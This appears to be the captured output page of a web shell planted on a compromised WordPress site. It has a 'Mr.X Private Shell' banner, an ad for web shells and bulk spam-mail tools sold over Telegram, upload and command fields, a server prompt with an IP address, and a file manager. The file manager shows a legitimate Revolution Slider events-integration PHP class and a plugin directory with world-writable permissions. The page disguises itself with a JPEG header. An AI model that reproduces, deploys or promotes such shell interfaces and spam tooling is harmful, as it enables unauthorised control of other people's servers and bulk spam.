����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.249: ~ $
<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2024 ThemePunch
 */

if(!defined('ABSPATH')) exit();

class RevSliderEventsManager extends RevSliderFunctions {
	public function __construct(){
		$this->init_em();
	}
	
	public function init_em(){
		add_filter('revslider_get_posts_by_category', array($this, 'add_post_query'), 10, 2);
	}
	
	/**
	 * check if events class exists
	 */
	public static function isEventsExists(){
		return defined('EM_VERSION') && defined('EM_PRO_MIN_VERSION');
	}
	
	/**
	 * get sort by list
	 * @before: RevSliderEventsManager::getArrFilterTypes()
	 */
	public static function get_filter_types(){
		return array(
			'none'		=> __('All Events', 'revslider'),
			'today'		=> __('Today', 'revslider'),
			'tomorrow'	=> __('Tomorrow', 'revslider'),
			'future'	=> __('Future', 'revslider'),
			'past'		=> __('Past', 'revslider'),
			'month'		=> __('This Month', 'revslider'),
			'nextmonth'	=> __('Next Month', 'revslider')
		);
	}
	
	
	/**
	 * get meta query
	 * @before: RevSliderEventsManager::getWPQuery()
	 */
	public static function get_query($filter_type, $sort_by){
		$response			= array();
		$dayMs				= 60 * 60 * 24;
		$time				= current_time('timestamp');
		$todayStart			= strtotime(date('Y-m-d', $time));
		$todayEnd			= $todayStart + $dayMs-1;
		$tomorrowStart		= $todayEnd+1;
		$tomorrowEnd		= $tomorrowStart + $dayMs-1;
		$start_month		= strtotime(date('Y-m-1',$time));
		$end_month			= strtotime(date('Y-m-t',$time)) + 86399;
		$next_month_middle	= strtotime('+1 month', $time); //get the end of this month + 1 day
		$start_next_month	= strtotime(date('Y-m-1',$next_month_middle));
		$end_next_month		= strtotime(date('Y-m-t',$next_month_middle)) + 86399;
		$query				= array();
		
		switch($filter_type){
			case 'none':	//none
			break;
			case 'today':
				$query[] = array('key' => '_start_ts', 'value' => $todayEnd, 'compare' => '<=');
				$query[] = array('key' => '_end_ts', 'value' => $todayStart, 'compare' => '>=');
			break;
			case 'future':
				$query[] = array('key' => '_start_ts', 'value' => $time, 'compare' => '>');
			break;
			case 'tomorrow':
				$query[] = array('key' => '_start_ts', 'value' => $tomorrowEnd, 'compare' => '<=');
				$query[] = array('key' => '_end_ts', 'value' => $todayStart, 'compare' => '>=');	
			break;
			case 'past':
				$query[] = array('key' => '_end_ts', 'value' => $todayStart, 'compare' => '<');
			break;
			case 'month':
				$query[] = array('key' => '_start_ts', 'value' => $end_month, 'compare' => '<=');
				$query[] = array('key' => '_end_ts', 'value' => $start_month, 'compare' => '>=');					
			break;
			case 'nextmonth':
				$query[] = array('key' => '_start_ts', 'value' => $end_next_month, 'compare' => '<=');
				$query[] = array('key' => '_end_ts', 'value' => $start_next_month, 'compare' => '>=');
			break;
			default:
				$f = RevSliderGlobals::instance()->get('RevSliderFunctions');
				$f->throw_error('Wrong event filter');
			break;
		} 
		
		if(!empty($query))
			$response['meta_query'] = $query;
		
		//convert sortby
		switch($sort_by){
			case 'event_start_date':
				$response['orderby']	= 'meta_value_num';
				$response['meta_key']	= '_start_ts';
			break;
			case 'event_end_date':
				$response['orderby']	= 'meta_value_num';
				$response['meta_key']	= '_end_ts';
			break;
		}			
		
		return $response;
	}
	
	
	/**
	 * get event post data in array. 
	 * if the post is not event, return empty array
	 * @before: RevSliderEventsManager::getEventPostData()
	 */
	public static function get_event_post_data($postID, $prefix = ''){
		if(self::isEventsExists() == false) return array();
		
		$postType = get_post_type($postID);
		
		if($postType != EM_POST_TYPE_EVENT) return array();
	
		$f			 = RevSliderGlobals::instance()->get('RevSliderFunctions');
		$event		 = new EM_Event($postID, 'post_id');
		$location	 = $event->get_location();
		$ev			 = $event->to_array();
		$loc		 = $location->to_array();
		$date_format = get_option('date_format');
		$time_format = get_option('time_format');
		
		$response = array(
			$prefix.'id'				 => $f->get_val($ev, 'event_id'),
			$prefix.'start_date'		 => date_format(date_create_from_format('Y-m-d', $f->get_val($ev, 'event_start_date')), $date_format),
			$prefix.'end_date'			 => date_format(date_create_from_format('Y-m-d', $f->get_val($ev, 'event_end_date')), $date_format),
			$prefix.'start_time'		 => date_format(date_create_from_format('H:i:s', $f->get_val($ev, 'event_start_time')), $time_format),
			$prefix.'end_time'			 => date_format(date_create_from_format('H:i:s', $f->get_val($ev, 'event_end_time')), $time_format),
			$prefix.'location_name'		 => $f->get_val($loc, 'location_name'),
			$prefix.'location_address'	 => $f->get_val($loc, 'location_address'),
			$prefix.'location_slug'		 => $f->get_val($loc, 'location_slug'),
			$prefix.'location_town'		 => $f->get_val($loc, 'location_town'),
			$prefix.'location_state'	 => $f->get_val($loc, 'location_state'),
			$prefix.'location_postcode'	 => $f->get_val($loc, 'location_postcode'),
			$prefix.'location_region'	 => $f->get_val($loc, 'location_region'),
			$prefix.'location_country'	 => $f->get_val($loc, 'location_country'),
			$prefix.'location_latitude'	 => $f->get_val($loc, 'location_latitude'),
			$prefix.'location_longitude' => $f->get_val($loc, 'location_longitude')
		);
		
		return $response;
	}
	
	
	/**
	 * get events sort by array
	 */
	public static function getArrSortBy(){
		return array(
			'event_start_date'	=> __('Event Start Date', 'revslider'),
			'event_end_date'	=> __('Event End Date', 'revslider')
		);
	}
	
	/**
	 * triggered if we receive posts by categories (RevSliderSlider::get_posts_by_categories())
	 **/
	public function add_post_query($data, $slider){
		$filter_type = $slider->get_param('events_filter', 'none');
		if(self::isEventsExists()){
			$data['addition'] = RevSliderEventsManager::get_query($filter_type, $this->get_val($data, 'sort_by'));
		}
		
		return $data;
	}
	
	public static function add_em_layer_v7($post_data, $data, $metas, $slider){
		if(self::isEventsExists() == false) return $post_data;
		
		$f = RevSliderGlobals::instance()->get('RevSliderFunctions');

		foreach($post_data ?? [] as $key => $post){
			$data = RevSliderEventsManager::get_event_post_data($f->get_val($post, 'id'), 'event_');
			if($data === false) continue;
			//modify excerpt if empty to be filled with content
			if(!isset($post['excerpt']) || trim($post['excerpt']) === ''){
				$post['excerpt'] = str_replace(array('<br/>', '<br />'), '', strip_tags($f->get_val($post, array('content', 'content')), '<b><br><i><strong><small>'));
			}

			$post_data[$key] = array_merge($post, $data);
		}

		return $post_data;
	}
	
}

add_filter('sr_streamline_post_data_post', array('RevSliderEventsManager', 'add_em_layer_v7'), 10, 4);

Filemanager

Name Type Size Permission Actions
external Folder 0755
api.class.php File 74.21 KB 0777
aq-resizer.class.php File 7.77 KB 0777
backwards.php File 1.44 KB 0777
basic-css.php File 11.57 KB 0777
cache.class.php File 5.93 KB 0777
coloreasing.class.php File 6.4 KB 0777
colorpicker.class.php File 15.29 KB 0777
cssparser.class.php File 24.9 KB 0777
data.class.php File 76.43 KB 0777
em-integration.class.php File 6.7 KB 0777
extension.class.php File 7.56 KB 0777
favorite.class.php File 1.24 KB 0777
functions.class.php File 85.64 KB 0777
globals.class.php File 2.49 KB 0777
googlefonts.php File 244.63 KB 0777
index.php File 27 B 0777
jetpack.class.php File 1.66 KB 0777
navigation.class.php File 19.19 KB 0777
navigations.php File 118.17 KB 0777
object-library.class.php File 52.29 KB 0777
output.sr6.class.php File 321.47 KB 0777
output.sr7.class.php File 90.2 KB 0777
page-template.class.php File 3.73 KB 0777
slide.class.php File 117.41 KB 0777
slider.class.php File 122.87 KB 0777
update.class.php File 7.53 KB 0777
woocommerce.class.php File 11.6 KB 0777
wpml.class.php File 5.84 KB 0777